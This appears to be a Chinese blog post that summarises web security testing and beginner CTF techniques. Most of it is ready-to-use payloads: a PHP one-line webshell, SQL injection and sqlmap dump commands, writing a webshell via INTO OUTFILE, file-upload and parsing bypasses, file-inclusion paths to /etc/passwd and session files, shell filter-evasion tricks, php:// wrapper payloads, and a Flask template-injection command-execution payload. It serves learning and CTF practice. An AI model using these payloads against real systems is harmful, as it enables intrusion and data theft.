web安全测试总结、CTF入门总结
-
静态资源服务器漏洞
- Apache服务器从后向前解析文件类型,直到解析到可处理的文件名为止
- Apache Tomcat默认安装包含"/examples"目录
-
木马与webshell
-
php一句话木马
<?php @eval($_POST['cmd']) ?> 一句话木马配合中国菜刀可以实现一个webshell。github也有开源的各种webshell。
-
图片木马
-
windows
copy a.png/b + b.txt/a c.png
-
linux
cat file1.txt file2.jpg >> file3.jpg
-
-
上传的图片木马可以利用文件包含漏洞在生成一个小马,在这个小马中执行恶意代码。
-
常用木马工具
- weevely
- 中国菜刀
-
-
sql注入
-
手工注入
-
判断注入点
字符型
#注:假设admin为正常查询字符串 admin' and '1'='1'# 能查询到数据 admin' and '1'='2'# 查询不到数据
整数型
#注:假设7为正常查询id 7 && 1=2
-
查询字段
a' UNION SELECT 1# a' UNION SELECT 1,2# a' UNION SELECT 1,2,3# ...直到正常显示数据为止,同时注意数字出现在网页上的位置
-
查询库
a' union select SCHEMA_NAME,2,3,4,5 from information_schema.SCHEMATA# ...直到正常显示数据为止,同时注意数字出现在网页上的位置
-
查询表
a‘ union select TABLE_NAME,2,3,4,5 from information_schema.TABLES where TABLE_SCHEMA=‘ctf’ limit 0,1 #
-
查询字段
a’ union select COLUMN_NAME,2,3,4,5 from information_schema.COLUMNS where TABLE_NAME=‘ctf_key’ limit 0,1 #
-
查询记录
a' union select secvalue,2,3,4,5 from ctf.ctf_key #
-
-
sqlmap
-
将请求报文抓下来放到一个文本文件,供sqlmap使用
-
判断注入点,手工判断或交给sqlmap
python sqlmap -r request.txt -p "username" ,-r 指定request报文,-p 指定注入参数。
-
查询库
python sqlmap.py -r request.txt --current-db,得到当前数据库的名称。
-
查询表
python sqlmap.py -r request.txt -D 数据库名 --tables,得到数据库中的表的名称。
-
查询字段
python sqlmap.py -r request.txt -D security -T users --columns,得到users表中的列名。
-
查询记录
python sqlmap.py -r request.txt -D security -T users -C username,password --dump,得到用户名、密码。
-
-
sql注入获取webshell
利用SQL注入攻击获取WebShell其实就是在向服务器写文件。(注意:这里我们需要得到网站的绝对路径)所有常用的关系数据库管理系统(RDBMS)均包含内置的向服务器文件系统写文件的功能。
MySQL
select into outfile(dumpfile) //MySQL写文件命令
example:
select "<?php echo 'test'; ?>" into outfile "F:\\www\\test.php";
-
-
文件上传漏洞
-
文件上传漏洞主要有以下几种情况
- MIME类型绕过漏洞
- 文件扩展名绕过漏洞
- 文件内容检测绕过类上传漏洞
- 空字节截断目录路径检测绕过类上传漏洞
-
解析导致的文件上传漏洞
- IIS6.0站上的目录路径检测解析绕过上传漏洞
- Apache站上的解析缺陷绕过上传漏洞
- htaccess文件上传解析漏洞
-
-
HTTP Header 伪造请求地址和源地址
-
X-Forwarded-For
-
referer
-
-
PHP文件包含漏洞
-
包含日志文件
- 先通过读取httpd的配置文件httpd.conf,找日志文件所在目录。常见日志文件位置:
- ../etc/httpd/conf/httpd.conf
- /usr/local/apache/conf/http.conf
- ../apache/logs/error.log
- 先通过读取httpd的配置文件httpd.conf,找日志文件所在目录。常见日志文件位置:
-
包含session
- 要求攻击者能控制部分Session的内容。常见的php-session存放位置:
- /var/lib/php/sess_PHPSESSID
- /var/lib/php/sess_PHPSESSID
- /tmp/sess_PHPSESSID
- /tmp/sessions/sess_PHPSESSID
- 要求攻击者能控制部分Session的内容。常见的php-session存放位置:
-
包含/proc/self/environ 文件
-
index.php?page=../../../../../proc/self/environ
该文件包含Web进程运行时的环境变量,用户可以控制其中一部分,比如对User-Agent
-
-
包含上传的临时文件
- 如数据库文件,缓存文件
-
-
PHP各种绕过
-
弱类型比较
- 'abc' == 0, 结果为true
- '1234a' == 1234,结果为true
- ‘admin’==0,结果为true
- ‘1admin’==1,结果为true
- “0e123456”==“0e456789”,结果为true
- ……
-
md5校验漏洞
- md5('QNKCDZO') == md5(240610708), 结果为true,适用于sha1
- md5(array()) == md5(array()), 结果为true,适用于sha1
-
strcmp绕过
- strcmp("233", array()),结果为null。正常字符串比较一致的结果是0,但null在bool运算中很多情况下和0等价,可用来绕过if-else。
-
反序列化绕过 __wakeup
- 当成员属性数目大于实际数目时可绕过wakeup方法
-
%00截断
magic_quotes_gpc = off
PHP < 5.3.4 -
字节长度截断:最大值Windows下256字节,Linux下4096字节
-
%00截断目录遍历
/var/www/%00
magic_quotes_gpc = off
-
编码绕过
%2e%2e%2f ../
..%c0%af ../
%2e%2e%5c ..\
-
-
其他各种绕过
-
文件上传绕过检查
-
抓包,修改Content-Type
-
Apache解析漏洞
上传 1.php.jpg #apache从后向前解析
-
Nginx解析漏洞
php%001.jpg #00处截断
-
IIS解析漏洞
a.asp; xx.jpg
-
修改文件头
GIF89a<?php @eval($_GET[0])> #GIF
-
别名
php的别名php1,php2
-
-
linux shell 命令绕过检查
-
使用通配符*、?绕过关键词
ls –l =>/?ln/?s –l /bin/cat /var/www/html/index.php => /???/???%20/???/???/????/?????.???
-
使用连接符绕过关键词
/'b'i'n'/'c'a't' /'e't'c'/'p'a's's'w’d /b\i\n/w\h\i\c\h c\a\t
-
使用未初始化的bash变量绕过
cat$a /etc$a/passwd$a
-
使用>绕过命令长度限制
-
${IFS}代替空格
-
-
SQL注入,绕过检查
- 大小写如:UniOn,And等
- and/or 替换成&& ||
- substring mid left right
- replace uniunionon=>union
-
-
变量覆盖漏洞
-
$$这种写法称为可变变量
一个可变变量获取了一个普通变量的值作为这个可变变量的变量名。
-
extract()函数使用不当
extract() 函数从数组中将变量导入到当前的符号表。
如果代码中出现extract(array, EXTR_OVERWRITE),如果你能控制array的值,则存在变量覆盖漏洞。
-
parse_str()函数使用不当
parse_str() 函数把查询字符串解析到变量中。
parse_str(string,array)
如果未设置 array 参数,由该函数设置的变量将覆盖已存在的同名变量。
$a=1; parse_str('a=2'); // 变量a的值会被覆盖为2
-
import_request_variables()使用不当
import_request_variables将 GET/POST/Cookie 变量导入到全局作用域中
语法:
bool import_request_variables(string$types[,string$prefix])
$type代表要注册的变量,G代表GET,P代表POST,C代表COOKIE,第二个参数为要注册变量的前缀
import_request_variables('G')指定导入GET请求中的变量,从而导致变量覆盖
-
-
远程命令执行
-
preg_replace 有一个代码注入的漏洞,模式串后面加个e,会把替换后的字符串当做php代码执行。 preg_replace 函数php5.5版本以上被废弃
-
php assert如果是字符串语句,且包含了变量,可以闭合该语句执行任意php代码。
-
上级目录 .. 被过滤,使用\绕过。
linux 进入上一级目录:cd .. 等价与 cd .\.
linux bash中,\为转义字符,用于转义&这类关键字。遇到无需转义的字符,会忽略掉\。
-
-
php伪协议
-
php://input
-
条件:allow_url_include = on
-
payload
index.php?file=php://input POST: <? phpinfo(); ?>
-
-
php://filter
使用伪协议读取php代码,编码为base64: php://filter/read=convert.base64-encode/resource=./index.php
-
php://phar
读取压缩文件下名为phpinfo.txt的文件 index.php?file=phar://shell.zip/phpinfo.txt
-
data
-
条件
-
allow_url_fopen = On
-
allow_url_include = On
index.php?file=data:text/plain,<?php phpinfo(); ?>%00 index.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
-
-
-
php发送HTTP请求
url后跟@+文件名,可以将文件内容加入post请求的数据部分
-
-
源码泄露
-
git源码泄露,GitHack
-
svn源码泄露, dvcs-ripper
-
DS_Store文件泄露, ds_store_exp
-
phps:php源代码文件
-
WEB-INF/web.xml泄露
WEB-INF 是 Java 的 WEB 应用的安全目录。该目录原则上来说是客户端无法访问,只有服务端才可以可以访问。如果想在页面中直接访问其中的文件,必须通过 web.xml 文件对要访问的文件进行相应映射才能访问。
WEB-INF 主要包含一下文件或目录:
/WEB-INF/web.xml:Web 应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则;
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非 servlet class,他们不能包含在 .jar 文件中;
/WEB-INF/lib/:存放 web 应用需要的各种 JAR 文件,放置仅在这个应用中要求使用的 jar 文件 , 如数据库驱动 jar 文件;
/WEB-INF/src/:源码目录,按照包名结构放置各个 java 文件;
/WEB-INF/database.properties:数据库配置文件。
不过在一些特定的场合却会让攻击者能读取到其中的内容,从而造成源码泄露. -
网站备份文件泄露
在网站的升级和维护过程中,通常需要对网站中的文件进行修改。此时就需要对网站整站或者其中某一页面进行备份。
当备份文件或者修改过程中的缓存文件因为各种原因而被留在网站 web 目录下,而该目录又没有设置访问权限时,便有可能导致备份文件或者编辑器的缓存文件被下载,导致敏感信息泄露,给服务器的安全埋下隐患。
该漏洞的成因主要有是管理员将备份文件放在到 web 服务器可以访问的目录下。
该漏洞往往会导致服务器整站源代码或者部分页面的源代码被下载,利用。源代码中所包含的各类敏感信息,如服务器数据库连接信息,服务器配置信息等会因此而泄露,造成巨大的损失。
被泄露的源代码还可能会被用于代码审计,进一步利用而对整个系统的安全埋下隐患。
文件后缀:
.rar .zip .7z .tar.gz .bak .swp .txt .sql
-
-
php标签过滤。有些时候命令传不上去是因为服务端对php标签做了过滤。
php标签
<?php echo 'Hello World !'; ?> <script language="php"> echo 'Hello World !'; </script> <? echo 'this is the simplest, an SGML processing instruction'; ?> <?= expression ?> This is a shortcut for "<? echo expression ?>" <% echo 'You may optionally use ASP-style tags'; %> <%= $variable; # This is a shortcut for "<% echo . . ." %>
-
模板注入
-
Flask
-
命令执行
{{ ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.__dict__['os'].__dict__['popen']('whoami').read() }}
-
过滤单引号
?{{ [].__class__.__mro__[1].__subclasses__()[59].__init__.func_globals[request.args.linecace].__dict__[request.args.ss].__dict__[request.args.poen](request.args.ls).read() }}&linecace=linecache&ss=os&poen=popen&ls=ls
-
-
Tornado读取cookie_screct
- {{handler.settings}}
-
-
FUZZ
-
常用工具
- burp suite
- wfuzz
-
-
GBK编码范围:8140-FEFE
-
弱密码爆破
-
目录爆破
- dirsearch
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· .NET10 - 预览版1新功能体验(一)